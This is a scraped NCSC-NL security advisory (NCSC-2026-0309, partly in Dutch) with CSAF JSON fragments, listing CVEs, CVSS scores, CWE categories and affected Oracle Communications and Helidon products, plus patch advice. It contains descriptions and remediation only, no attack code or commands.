"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated HTTP/2 attackers to cause denial of service by hanging or crashing the system, with a CVSS 3.1 base score of 7.5 due to availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73935 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73935.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73935"
},
{
"cve": "CVE-2026-73936",
"notes": [
{
"category": "description",
"text": "A denial of service vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to crash or hang the server via HTTP, with a CVSS 3.1 base score of 7.5 due to availability impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73936 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73936.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73936"
},
{
"cve": "CVE-2026-73937",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP/2 access to cause denial of service and unauthorized read access, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73937 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73937.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73937"
},
{
"cve": "CVE-2026-73938",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated remote attackers to access sensitive data via HTTP, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73938 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73938.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73938"
},
{
"cve": "CVE-2026-73939",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.20 allows unauthenticated remote attackers to manipulate critical data via HTTP, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-73939 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-73939.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-73939"
}
]
}
NCSC-2026-0309
Vulnerability from csaf_ncscnl - Published: 2026-08-19 09:44 - Updated: 2026-08-19 09:44Summary
Kwetsbaarheden verholpen in Oracle Communications
Notes
The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this page to enhance access to its information and security advisories. The use of this security advisory is subject to the following terms and conditions:
NCSC-NL makes every reasonable effort to ensure that the content of this page is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or continuous keeping up-to-date. The information contained in this security advisory is intended solely for the purpose of providing general information to professional users. No rights can be derived from the information provided therein.
NCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of this security advisory. This includes damage resulting from the inaccuracy of incompleteness of the information contained in the advisory.
This security advisory is subject to Dutch law. All disputes related to or arising from the use of this advisory will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings.
Feiten: Oracle heeft kwetsbaarheden verholpen in verschillende Communications-modules, waaronder Oracle Communications Cloud Native Core Network Exposure Function, Oracle Commerce Guided Search en Oracle Communications Unified Inventory Management
Interpretaties: De kwetsbaarheden betreffen onder andere stack-based buffer overflows, onjuiste validatie van input, prototype pollution, improper authorization, use-after-free, deserialization filter bypass, en onvoldoende toegangscontrole. Aanvallers kunnen deze kwetsbaarheden misbruiken om onder meer Denial of Service (DoS) te veroorzaken, ongeautoriseerde toegang te verkrijgen, gevoelige data te wijzigen of in te zien, arbitrary code execution uit te voeren, en volledige systeemcompromittering te bereiken. Specifiek kunnen sommige kwetsbaarheden leiden tot privilege escalatie, bypass van authenticatie, en remote code execution zonder authenticatie. De kwetsbaarheden zijn aanwezig in diverse versies van de genoemde producten en modules, waarbij sommige fixes reeds zijn uitgebracht in specifieke versies. Controleer daarom of de specifieke kwetsbaarheden van toepassing zijn op het eigen systeem.
Oplossingen: Oracle heeft updates uitgebracht om de kwetsbaarheden te verhelpen. Het wordt aanbevolen om de meest recente versies van de betreffende producten te installeren, zoals Oracle Communications Cloud Native Core Network Exposure Function versie 24.2.1 en hoger, Oracle Commerce Guided Search 11.4.0 en hoger, en de updates voor Oracle Communications Unified Inventory Management vanaf versie 8.0.2. Daarnaast zijn er patches beschikbaar voor de overige genoemde producten en modules. Zie bijgevoegde referenties voor meer informatie.
Kans: medium
Schade: high
CWE-937: OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities
CWE-1035: OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities
CWE-1059: Insufficient Technical Documentation
CWE-1104: Use of Unmaintained Third Party Components
CWE-1131: CISQ Quality Measures (2016) - Security
CWE-1395: Dependency on Vulnerable Third-Party Component
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
CWE-94: Improper Control of Generation of Code ('Code Injection')
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CWE-226: Sensitive Information in Resource Not Removed Before Reuse
CWE-285: Improper Authorization
CWE-287: Improper Authentication
CWE-400: Uncontrolled Resource Consumption
CWE-416: Use After Free
CWE-502: Deserialization of Untrusted Data
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization
CWE-770: Allocation of Resources Without Limits or Throttling
CWE-787: Out-of-bounds Write
A stack-based buffer overflow vulnerability (CVE-2025-13151) in libtasn1's asn1_expend_octet_string function allows remote attackers to cause Denial of Service (DoS) due to improper input size validation.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple Perl versions contain a vulnerable Compress::Raw::Zlib module with outdated zlib libraries exposing several CVEs, while Oracle Commerce Guided Search 11.4.0 has a critical unauthenticated remote compromise vulnerability with a CVSS score of 9.8.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple lodash vulnerabilities, including CVE-2021-23337, involve unvalidated options.imports key names in _.template leading to arbitrary code execution, affecting versions prior to 4.18.0 and impacting products like Oracle Banking Corporate Lending with critical severity.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple vulnerabilities affect Eclipse Jetty's JASPIAuthenticator and Oracle products, enabling authentication bypass, privilege escalation, and unauthorized data modification via improper ThreadLocal handling and unauthenticated access.
7.4 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple critical vulnerabilities affect Apache HTTP Server versions 2.4.0 to 2.4.67, including use-after-free in mod_ldap, buffer overflows, privilege escalations, and denial of service, alongside a severe unauthenticated network flaw in Oracle Communications Cloud Native Core Policy 25.2.200.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Netty versions prior to 4.2.13.Final and 4.1.133.Final contain vulnerabilities in HttpContentDecompressor that allow attackers to bypass maxAllocation limits for Brotli, Zstd, and Snappy encodings, leading to out-of-memory Denial of Service.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple critical remote code execution vulnerabilities in Apache MINA and Oracle Middleware Common Libraries, affecting various versions including Ubuntu 22.04/24.04 LTS and Oracle versions 12.2.1.4.0 and 14.1.2.0.0, allow unauthenticated system takeover via deserialization filter bypass and classname allowlist bypass.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple Apache Tomcat versions contain an improper authorization vulnerability in the default servlet that bypasses HTTP method restrictions, fixed in versions 11.0.23, 10.1.56, and 9.0.119, alongside other security and bug fixes.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Security Edge Protection Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Service Communication Proxy
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Unified Data Repository
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Analytics Data Director
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Charging and Control
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Network Integrity
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Order and Service Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Service Catalog and Design
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Assurance
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Unified Inventory Management
|
vers:unknown/* |
Multiple Apache Tomcat versions contain an Insufficient Technical Documentation vulnerability related to EncryptInterceptor configuration and security flaws leading to sensitive data exposure, addressed in updates 11.0.24, 10.1.57, and 9.0.120 with various bug fixes and improvements.
9.1 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Oracle Communications
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications BRM - Elastic Charging Engine
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Billing and Revenue Management
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Binding Support Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core DBTier
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Exposure Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Repository Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Network Slice Selection Function
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle Communications Cloud Native Core Policy
|
vers:unknown/* | ||
|
vers:unknown/*
